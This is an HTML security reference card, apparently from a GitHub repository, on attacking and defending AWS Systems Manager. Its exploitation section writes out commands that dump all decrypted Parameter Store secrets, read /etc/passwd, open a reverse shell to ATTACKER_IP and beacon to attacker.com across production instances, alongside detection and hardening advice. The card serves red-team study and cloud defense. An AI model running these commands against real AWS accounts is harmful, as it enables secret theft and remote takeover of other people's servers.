aws-security-cards/cards/html/ssm.html at main · TocConsulting/aws-security-cards · GitHub

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<title>AWS Systems Manager Security | AWS Security Cards</title>
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<body>

<!-- Card Image -->
<div class="card-image">
  <img src="../images/ssm-card.webp" alt="AWS Systems Manager Security" />
</div>

<!-- Header -->
<div class="header">
  <div class="header-content">
    <div class="header-icon"><img src="../icons/ssm.svg" alt="AWS Systems Manager Security" /></div>
    <div>
      <div>
        <span class="header-title">AWS Systems Manager Security</span>
        <span class="header-badge">MANAGEMENT</span>
      </div>
      <p class="header-desc">Systems Manager (SSM) provides operational management for EC2 and on-premises servers. Parameter Store holds secrets, Run Command enables remote execution, Session Manager provides shell access.</p>
    </div>
  </div>
</div>

<!-- Stats -->
<div class="stats-row">
        <div class="stat-card">
          <div class="stat-value" style="color: #f87171;">HIGH</div>
          <div class="stat-label">Risk Level</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #4ade80;">RCE</div>
          <div class="stat-label">Run Command</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #60a5fa;">Secrets</div>
          <div class="stat-label">Parameter Store</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #c084fc;">Shell</div>
          <div class="stat-label">Session Manager</div>
        </div></div>

<!-- Overview -->
<div class="section"><h2><span style="color:#64748b;">&#x1F4CB;</span> Service Overview</h2><div class="overview-grid">
        <div>
          <h4 style="color: #64748b;">Parameter Store</h4>
          <p>Hierarchical storage for configuration and secrets. Supports SecureString (KMS encrypted), String, and StringList types. Often contains database passwords, API keys, certificates.</p>

        </div>
        <div>
          <h4 style="color: #64748b;">Run Command</h4>
          <p>Execute commands on managed instances without SSH. Uses SSM Agent. Can run shell scripts, PowerShell, Python. Perfect for lateral movement and remote code execution.</p>

        </div>
        <div>
          <h4 style="color: #64748b;">Session Manager</h4>
          <p>Interactive shell access to instances without SSH keys or bastion hosts. Sessions logged to S3/CloudWatch. No inbound ports required - uses HTTPS.</p>

        </div></div></div>

<!-- Risk Assessment -->

<div class="section">
  <h2>Security Risk Assessment</h2>
  <div class="risk-gauge">
    <div class="risk-bar-container">
      <div class="risk-bar">
        <div class="risk-bar-fill" style="width: 85%;"></div>
      </div>
      <div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
    </div>
    <div class="risk-score">
      <div class="risk-score-value">8.5</div>
      <div class="risk-score-label">Risk Score</div>
    </div>
  </div>
  <p class="risk-desc">SSM provides remote code execution, secret storage, and shell access. Compromising SSM permissions often leads to full instance compromise and lateral movement across the fleet.</p>
</div>

<!-- Main Panels -->
<div class="panels-grid">
      <div class="panel" style="border-color: #f8717133;">
        <h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Parameter Store</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Enumerate all parameters for secrets</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Decrypt SecureString parameters</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Modify parameters to inject backdoors</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Access parameters via EC2 instance role</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> History reveals old secret values</li></ul><h4 style="color: #f87171;">Run Command &amp; Session Manager</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Execute arbitrary commands on instances</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Reverse shell via Run Command</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Session Manager for interactive access</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Pivot through managed instances</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Execute across all tagged instances</li></ul></div>
      <div class="panel" style="border-color: #fb923c33;">
        <h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Parameter Store Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Secrets stored as String (not SecureString)</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Overly permissive parameter policies</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Missing KMS encryption</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Wildcard parameter paths in IAM</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No parameter versioning/history cleanup</li></ul><h4 style="color: #fb923c;">Run Command Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> ssm:SendCommand with Resource: *</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No instance tag restrictions</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Session Manager without logging</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Missing session encryption</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No approval workflow for commands</li></ul></div>
      <div class="panel" style="border-color: #22d3ee33;">
        <h3 style="color: #22d3ee;">🔍 Enumeration</h3>
        <div class="cmd-block">
          <div class="cmd-title">List All Parameters</div>
          <pre><code>aws ssm describe-parameters</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get Parameter Value</div>
          <pre><code>aws ssm get-parameter --name /app/db/password --with-decryption</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get Parameters by Path</div>
          <pre><code>aws ssm get-parameters-by-path --path /app/ --recursive --with-decryption</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Managed Instances</div>
          <pre><code>aws ssm describe-instance-information</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Documents</div>
          <pre><code>aws ssm list-documents --document-filter-list key=Owner,value=Self</code></pre>
        </div></div>
      <div class="panel" style="border-color: #c084fc33;">
        <h3 style="color: #c084fc;">💻 Remote Code Execution</h3><h4 style="color: #c084fc;">Run Command</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> AWS-RunShellScript for Linux</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> AWS-RunPowerShellScript for Windows</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Target by instance ID, tag, or resource group</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Output stored in S3 or CloudWatch</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Async execution with status tracking</li></ul><h4 style="color: #c084fc;">Session Manager</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Interactive shell without SSH</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Port forwarding through SSM</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Start session from console or CLI</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Session recorded to S3/CloudWatch</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Works through NAT, no inbound rules</li></ul><div class="note"><strong>Red Team:</strong> Run Command is often the fastest path to RCE once you have ssm:SendCommand permission.</div></div>
      <div class="panel" style="border-color: #facc1533;">
        <h3 style="color: #facc15;">🔄 Lateral Movement</h3><h4 style="color: #facc15;">Via SSM</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Execute on all instances with matching tags</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Steal credentials from instance metadata</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Read application configs with secrets</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Pivot to on-premises hybrid instances</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Access instances in private subnets</li></ul><h4 style="color: #facc15;">Credential Harvesting</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Dump Parameter Store secrets</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Extract .env files from instances</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Read AWS credentials from disk</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Access application database configs</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Steal SSH keys from instances</li></ul></div>
      <div class="panel" style="border-color: #4ade8033;">
        <h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> GetParameter/GetParameters - secret access</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> SendCommand - remote execution</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> StartSession - interactive session</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> PutParameter - parameter modification</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateDocument - custom document</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Bulk parameter enumeration</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Commands to multiple instances</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Unusual Session Manager usage</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Parameter access from new principals</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Reverse shell patterns in commands</li></ul></div></div>

<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">&#x1F4BB;</span> Exploitation Commands</h2><div class="cmd-grid">
        <div class="cmd-block">
          <div class="cmd-title">Dump All Parameters</div>
          <pre><code>aws ssm get-parameters-by-path \\
  --path &quot;/&quot; \\
  --recursive \\
  --with-decryption \\
  --query 'Parameters[*].[Name,Value]' \\
  --output table</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Execute Command on Instance</div>
          <pre><code>aws ssm send-command \\
  --instance-ids i-1234567890abcdef0 \\
  --document-name &quot;AWS-RunShellScript&quot; \\
  --parameters 'commands=[&quot;whoami&quot;,&quot;id&quot;,&quot;cat /etc/passwd&quot;]'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Reverse Shell via Run Command</div>
          <pre><code>aws ssm send-command \\
  --instance-ids i-1234567890abcdef0 \\
  --document-name &quot;AWS-RunShellScript&quot; \\
  --parameters 'commands=[&quot;bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4444 0&gt;&amp;1&quot;]'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Start Session Manager</div>
          <pre><code>aws ssm start-session --target i-1234567890abcdef0</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Execute on Tagged Instances</div>
          <pre><code>aws ssm send-command \\
  --targets &quot;Key=tag:Environment,Values=Production&quot; \\
  --document-name &quot;AWS-RunShellScript&quot; \\
  --parameters 'commands=[&quot;curl http://attacker.com/beacon&quot;]'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Port Forward via Session Manager</div>
          <pre><code>aws ssm start-session \\
  --target i-1234567890abcdef0 \\
  --document-name AWS-StartPortForwardingSession \\
  --parameters '{&quot;portNumber&quot;:[&quot;3389&quot;],&quot;localPortNumber&quot;:[&quot;13389&quot;]}'</code></pre>
        </div></div></div>

<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F4DC;</span> Policy Examples</h2><div class="policy-grid">
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Overly Permissive - Full SSM Access</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: &quot;ssm:*&quot;,
    &quot;Resource&quot;: &quot;*&quot;
  }]
}</code></pre>
          <p class="policy-desc">Allows reading all secrets, executing commands on any instance, and full management</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Scoped Parameter Access</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;ssm:GetParameter&quot;, &quot;ssm:GetParameters&quot;],
    &quot;Resource&quot;: &quot;arn:aws:ssm:*:*:parameter/app/myapp/*&quot;,
    &quot;Condition&quot;: {
      &quot;StringEquals&quot;: {
        &quot;aws:ResourceTag/team&quot;: &quot;myteam&quot;
      }
    }
  }]
}</code></pre>
          <p class="policy-desc">Only allows access to parameters under specific path with tag restriction</p>
        </div>
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Wildcard SendCommand</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: &quot;ssm:SendCommand&quot;,
    &quot;Resource&quot;: &quot;*&quot;
  }]
}</code></pre>
          <p class="policy-desc">Can execute commands on ANY managed instance - critical RCE risk</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Restricted Run Command</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: &quot;ssm:SendCommand&quot;,
    &quot;Resource&quot;: [
      &quot;arn:aws:ec2:*:*:instance/*&quot;,
      &quot;arn:aws:ssm:*::document/AWS-RunShellScript&quot;
    ],
    &quot;Condition&quot;: {
      &quot;StringEquals&quot;: {
        &quot;ssm:resourceTag/Environment&quot;: &quot;Development&quot;
      }
    }
  }]
}</code></pre>
          <p class="policy-desc">Restricts command execution to Dev instances only</p>
        </div></div></div>

<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F6E1;&#xFE0F;</span> Defense Recommendations</h2><div class="defense-grid">
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔐</span>
            <div>
              <h4>Use SecureString for Secrets</h4>
              <p>Always encrypt sensitive parameters with KMS SecureString type.</p>
              <pre><code>aws ssm put-parameter \\
  --name &quot;/app/db/password&quot; \\
  --value &quot;secret123&quot; \\
  --type SecureString \\
  --key-id alias/my-key</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">📝</span>
            <div>
              <h4>Enable Session Manager Logging</h4>
              <p>Log all sessions to S3 and CloudWatch for audit trail.</p>
              <pre><code># In Session Manager preferences
{
  &quot;s3BucketName&quot;: &quot;session-logs&quot;,
  &quot;cloudWatchLogGroupName&quot;: &quot;/aws/ssm/sessions&quot;
}</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🏷️</span>
            <div>
              <h4>Use Tag-Based Access Control</h4>
              <p>Restrict SendCommand and StartSession to specific instance tags.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔒</span>
            <div>
              <h4>Restrict Parameter Paths</h4>
              <p>Use hierarchical parameter paths and grant access to specific paths only.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🚫</span>
            <div>
              <h4>Limit Document Usage</h4>
              <p>Restrict which SSM documents can be used for commands.</p>
              <pre><code>&quot;Condition&quot;: {
  &quot;StringEquals&quot;: {
    &quot;ssm:DocumentName&quot;: [
      &quot;AWS-RunPatchBaseline&quot;,
      &quot;Custom-ApprovedScript&quot;
    ]
  }
}</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">⏰</span>
            <div>
              <h4>Use Run Command Approvals</h4>
              <p>Require manual approval for sensitive command execution via Automation.</p>

            </div>
          </div>
        </div></div></div>

<!-- Footer -->
<div class="footer">
  <p>AWS Systems Manager Security Card</p>
  <p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>

</body>
</html>